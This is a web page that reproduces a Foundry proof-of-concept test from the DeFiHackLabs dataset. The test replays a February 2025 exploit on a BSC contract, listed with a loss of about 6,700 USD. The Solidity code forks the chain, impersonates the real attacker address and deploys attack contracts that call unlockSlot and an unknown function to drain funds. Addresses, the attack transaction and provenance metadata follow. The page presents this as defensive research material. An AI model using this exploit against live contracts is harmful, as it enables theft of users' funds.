Public reproduction file
src/test/2025-02/unverified_35bc_exp.sol
Public reproduction file for dataset entry Unverified_35bc.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 6700 USD7// Attacker : https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc8// Attack Contract : https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce59// Vulnerable Contract : https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d8527810// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d12// @Info13// Vulnerable Contract Code :15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/189333368041789064817// Twitter Guy : https://x.com/TenArmorAlert/status/189333368041789064818// Hacking God : 20address constant addr = 0xDE91E6E937Ec344e5a3C800539C41979c2d85278;21address constant attacker = 0xD75652Ada2F6a140f2fFcD7CD20f34C21fbC3fBc;24contract ContractTest is Test {25 function setUp() public {26 vm.createSelectFork("bsc", 46886078-1);27 deal(attacker, 0.6 ether);28 }30 function testPoC() public {31 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);32 vm.startPrank(attacker, attacker);33 AttackerC attC = new AttackerC{value: 0.6 ether}();34 vm.stopPrank();35 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);36 }37}39// 0x4634C13E68DDf52CEFd0a7a1E6002ab4747cDE7b40contract AttackerC {41 HelperB internal helper;43 constructor() payable {44 // create_1 contract 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5 with 0 wei45 helper = new HelperB();46 // call helper.attack with value = msg.value47 (bool ok, ) = address(helper).call{value: msg.value}(abi.encodeWithSelector(HelperB.attack.selector));48 if (!ok) {49 // ignore failure50 }51 // call back to caller with value 3 * 10^15 * 3600 wei and gas 052 unchecked {53 uint256 amt = 3 * 10**15 * 3600;54 // use low-level call with zero gas forwarded is not possible in solidity; mimic by sending and ignoring result55 (bool s, ) = payable(tx.origin).call{value: amt}("");56 if (!s) {}57 }58 }60 // receive to accept refunds61 receive() external payable {}62}64// Helper contract emulating 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce565contract HelperB {66 // Constructor: if keccak(tx.origin) == constant; no effect needed67 constructor() {}69 function attack() external payable {70 // call addr.unlockSlot(3) with value msg.value71 (bool ok1, ) = addr.call{value: msg.value}(abi.encodeWithSelector(bytes4(keccak256("unlockSlot(uint256)")), uint256(3)));72 if (!ok1) {}73 // call addr.unknown2dad6442(3) no value74 (bool ok2, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));75 if (!ok2) {}76 // send 3 * 10^15 * 3600 wei to caller77 unchecked {78 uint256 amt = 3 * 10**15 * 3600;79 (bool s, ) = payable(msg.sender).call{value: amt}("");80 if (!s) {}81 }82 }84 fallback() external payable {85 // call caller.unknown2dad6442(3)86 (bool ok, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));87 if (!ok) {}88 }90 // receive() external payable {}91}Analysis
Dataset entry
Public Foundry test for “Unverified_35bc” (2025-02-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2024-09/unverified_03f9_exp.solSame protocol or name in the dataset · 73 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc
- Attack Contract
0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5
- Vulnerable Contract
0xde91e6e937ec344e5a3c800539c41979c2d85278
- Attack Tx
0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d
- Post: https://x.com/TenArmorAlert/status/1893333680417890648
- Explorer: https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc
- Explorer: https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5
- Explorer: https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d85278
File record
- Name
- Unverified_35bc
- Path
- src/test/2025-02/unverified_35bc_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a0d64d82522717f3b20946bb98c67e9043c0955a
- Language
- Solidity
- Size
- 91 lines
- Date
- 2025-02-22
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/unverified_35bc_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a0d64d82522717f3b20946bb98c67e9043c0955a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.